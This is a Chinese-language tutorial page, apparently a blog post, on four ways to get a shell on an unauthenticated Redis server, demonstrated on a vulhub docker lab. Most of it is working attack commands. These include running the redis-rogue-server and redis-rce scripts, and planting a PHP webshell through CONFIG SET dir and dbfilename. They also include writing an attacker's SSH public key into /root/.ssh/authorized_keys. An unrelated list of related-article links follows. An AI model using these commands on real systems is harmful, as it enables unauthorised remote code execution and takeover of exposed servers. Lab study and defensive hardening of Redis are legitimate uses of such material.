当前位置: 首页 > news >正文

redis得到shell的几种方法

 getshell(一)(上文)

docker演示

进入vulhub目录使用以下命令启动靶机

cd /vulhub-master/redis/4-unacc

docker-compose up -d

docker ps

kali中

安装redis

apt-get install redis

连接,ip换为docker容器ip地址

redis-cli -h 39.105.47.83 -p 6379

直接连接执行命令且不需要认证说明存在未授权访问漏洞

下载以下攻击项目

https://github.com/n0b0dyCN/redis-rogue-server

下载完成后解压

在项目目录下执行以下命令

python3 redis-rogue-server.py --rhost 39.105.47.83 --lhost 39.105.47.83

若执行错误,再次执行一下就行

输入i就可以进入shell

安装redis

建议在contos上安装,命令相同,下面只是演示      kali做攻击机

wget https://download.redis.io/releases/redis-4.0.9.tar.gz

tar zxvf redis-4.0.9.tar.gz

移动一下安装地点

mv redis-4.0.9 /usr/local/redis

make

make install

vim redis.conf

getshell(二)

需要有网站建立才能成功

在kali上输入

redis-cli -h 192.168.219.128 -p 6379

连接成功后,输入

CONFIG SET dir /var/www/html               修改存储路径为Web目录
CONFIG SET dbfilename shell.php               设置文件名为shell.php

SET shell "<?php system($_GET['cmd']);?>"          保存木马

save

蚁剑连接或直接网址访问

http://ip/shell.php

http://ip/shell.php?cmd=whoami

getshell(三)

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git

下载完成后进入RedisModules-ExecuteCommand目录输入make

会生成moudle.so 文件

然后把生成的moudle.so复制到redis-rce目录里面

进入 redis-rce目录里面终端输入

python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so

getshell(四)

公钥

ssh-keygen -t rsa  # 默认保存到~/.ssh/id_rsa.pub

(echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n")>1.txt          记得修改为自己的密钥地址

输入
cat 1.txt |redis-cli -h 192.168.111.130 -x set crack

连接成功后在输入

config set dir /root/.ssh
config set dbfilename authorized_keys
save

使用ssh登录就可以了

http://www.lryc.cn/news/603276.html

相关文章:

  • 搭建专属AI聊天网站:NextChat + 蓝耘MaaS平台完整部署指南
  • 《C++初阶之STL》【list容器:详解 + 实现】
  • 夯实家庭基石本质上是一场“缓慢的革命”
  • 【Redis实现基础的分布式锁及Lua脚本说明】
  • 使用 Canvas 替代 <video> 标签加载并渲染视频
  • 【深度学习】独热编码(One-Hot Encoding)
  • 怎么提升服务器的防攻击能力!
  • day064-kodbox接入对象存储与配置负载均衡
  • 「源力觉醒 创作者计划」 百度AI的战略“惊蛰”,一场重塑格局的“破壁行动”
  • JSON在java中的使用
  • 力扣热题100--------240.搜索二维矩阵
  • 半导体企业选用的跨网文件交换系统到底应该具备什么功能?
  • Spring Boot 请求限流实战:基于 IP 的高效防刷策略
  • Qt 并行计算框架与应用
  • 重塑浏览器!微软在Edge加入AI Agent,自动化搜索、预测、整合
  • [明道云]-基础教学2-工作表字段 vs 控件:选哪种?
  • nodejs 实现Excel数据导入数据库,以及数据库数据导出excel接口(核心使用了multer和node-xlsx库)
  • 架构实战——互联网架构模板(“用户层”和“业务层”技术)
  • 向量内积:揭示方向与相似性的数学密码
  • 瑞盟NFC芯片,MS520
  • 网上买卖订单处理手忙脚乱?订单处理工具了解一下
  • Radash.js 现代化JavaScript实用工具库详解 – 轻量级Lodash替代方案
  • python优秀案例:基于机器学习算法的景区旅游评论数据分析与可视化系统,技术使用django+lstm算法+朴素贝叶斯算法+echarts可视化
  • 机器学习、深度学习与数据挖掘:三大技术领域的深度解析
  • uipath数据写入excel的坑
  • perf工具在arm上的安装记录
  • 机器学习、深度学习与数据挖掘:核心技术差异、应用场景与工程实践指南
  • p5.js 从零开始创建 3D 模型,createModel入门指南
  • 新升级超值型系列32位单片机MM32G0005
  • p5.js 三角形triangle的用法